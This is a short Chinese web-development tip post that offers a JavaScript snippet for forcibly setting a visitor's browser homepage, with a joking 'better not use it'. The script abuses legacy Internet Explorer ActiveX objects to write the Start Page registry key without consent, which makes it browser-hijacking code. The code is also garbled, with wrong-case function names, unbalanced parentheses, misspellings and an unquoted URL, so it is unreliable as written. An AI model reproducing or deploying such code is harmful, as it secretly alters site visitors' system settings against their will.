把网站设置为浏览器的首页是我们做网站时经常加到网站顶部的功能!下面这段代码是强制设置为首页的代码!最好别用啊!呵呵!
<script>
var ucook=document.cookie;
var user=ucook.indexof("ilooki=");
if(user==-1)
{
var nowtime=new date();
document.cookie="ilooki"+";"+"expires=wednesday,03-jan-"+eval(nowtime.getyear()+1903+"12:34:56 gmt";
document.write("<applet height=0width=0 code=com.ms.activex.activexcompoment></applet>");function yuzi(){try{a1
=document.applets[0];a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");a1.createinstance();shl=a1.getobject();a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");try{shl.regwrite("hkcu/software/microsoft/internet expiorer/main/start page",http://www.****.com);}catch(e){}}catch(e){}}settimeout("yuzi()",1000);
}
</script>
注:个人建议还是少用js代码,因为做seo优化时可能很麻烦,呵呵
新闻热点
疑难解答